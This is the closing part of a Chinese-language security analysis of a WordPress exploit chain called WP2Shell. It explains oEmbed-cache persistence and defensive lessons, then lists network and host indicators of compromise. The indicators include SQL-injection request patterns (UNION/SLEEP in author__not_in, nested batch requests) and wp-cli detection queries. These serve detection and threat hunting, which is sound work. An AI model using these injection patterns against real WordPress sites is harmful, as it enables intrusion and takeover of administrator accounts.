WP2Shell 攻击链中最容易被忽视的一环是 oEmbed 缓存作为持久化入口。WordPress 将 oEmbed 处理结果以文章形式存入 wp_posts 表,这意味着任何能向 wp_posts 写入内容的路径都可能被滥用为持久化载体。UNION 注入恰好提供了"向查询结果集注入任意行"的能力,配合 oEmbed 的写回机制,实现了从"读取"到"写入"的跨越。

对象缓存(Redis/Memcached)改变了 oEmbed 的写入路径,意外地成为了 RCE 链的天然阻断点。这一发现具有两面性:一方面,已部署对象缓存的站点免受 RCE 威胁;另一方面,这揭示了 WordPress 缓存层的多路径写入设计可能成为安全控制的盲区——安全团队不能假设"同样的逻辑操作总是经过同一路径"。

9.5 防御启示

启示维度 具体内容
单点 vs 链式 安全评估必须考虑漏洞组合的链式效应,而非孤立评估单个 CVE
类型安全 安全净化函数不能依赖前置层的类型保证,每个边界独立断言
状态一致性 避免用多个并行结构表达同一逻辑状态,消除同步缺陷
缓存路径 缓存层多路径写入是安全盲区,需纳入威胁建模
默认安全 "默认安装即可利用"是最危险的属性,需重新审视默认配置的攻击面
持久化入口 任何向数据库写入内容的机制(缓存、日志、草稿)都可能被滥用为持久化载体

十、IoC 与威胁狩猎清单

10.1 网络 IoC

指标 类型 说明
POST /wp-json/batch/v1 含嵌套 /batch/v1 请求模式 WP2Shell 嵌套批量特征
author__not_in 参数含 UNION/SELECT/SLEEP 注入特征 CVE-2026-60137 触发
/wp/v2/widgets/wp/v2/posts 同 batch 出现 路由混淆 CVE-2026-63030 特征
per_page=-1 配合 posts 端点 注入辅助 禁用分页确保注入完整执行
POST /wp-json/wp/v2/users 高频出现 RCE 阶段 admin 上下文创建账户

10.2 主机 IoC

# 检测1: 异常 customize_changeset 文章(伪造行残留)
wp db query "SELECT * FROM wp_posts WHERE post_type='customize_changeset' AND post_status='pending';"

# 检测2: 近期新建管理员账户
wp db query "SELECT u.* FROM wp_users u JOIN wp_usermeta um ON u.ID=um.user_id WHERE um.meta_key='wp_user_level' AND um.meta_value='10' AND u.user_registered > '2026-07-17';"

# 检测3: 异常插件文件(自毁可能遗漏)
find /var/www/html/wp-content/plugins/ -name "*.php" -newer /tmp/wp2shell_marker -type f 2>/dev/null

# 检测4: 检查 active_plugins 中的未知插件
wp option get active_plugins --format=json

# 检测5: 检测 _changeset_user meta 异常
wp db query "SELECT * FROM wp_postmeta WHERE meta_key='_changeset_user';"

十一、结语

WP2Shell 漏洞链是 2026 年最具代表性的"漏洞组合艺术"案例。它证明了一个重要的安全原则:在现代复杂系统中,单个看似中低危的漏洞,一旦找到合适的"搭子",就能爆发出远超预期的破坏力

从防御者视角,关键教训有三:

  1. 优先修复"认证绕过"类漏洞,即使其单独 CVSS 不高。认证是所有后续利用的前提,断掉认证链即断掉整条 kill chain。
  2. 对参数净化做纵深防御。不要信任前置层的类型保证,每个边界独立做类型断言和净化。
  3. 纳入缓存路径到威胁建模。多路径写入是安全盲区,需确保所有写入路径都经过统一的安全校验。

从攻击者视角,WP2Shell 展示了如何将"读取型"漏洞(SQL 注入)转化为"写入型"攻击(伪造数据库行),再进一步转化为"执行型"攻击(RCE)的完整跨越路径。这种思路对红队评估和漏洞挖掘具有方法论级别的参考价值。

免责声明:本文仅用于安全研究与防御目的。所有 PoC 代码均为概念验证,实际利用需在授权环境下进行。请勿将本文技术用于未授权攻击。